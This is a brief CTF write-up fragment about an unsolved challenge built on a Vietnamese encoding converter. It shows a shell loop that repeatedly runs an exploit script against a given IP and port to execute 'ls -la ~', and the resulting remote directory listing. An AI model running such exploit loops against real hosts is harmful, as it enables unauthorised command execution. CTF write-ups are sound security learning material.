The chall features an off-the-shelf Vietnamese encoding converter, and was not solved during the CTF by any team.
while true ; do python meepwn_vconv_exploit.py HOST=178.128.217.117 PORT=7171 'ls -la ~' | grep -A10 out: ; done
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out:total 84
drwxr-x--- 1 root unikey 4096 Aug 26 06:40 .
drwxr-xr-x 1 root root 4096 Aug 26 06:40 ..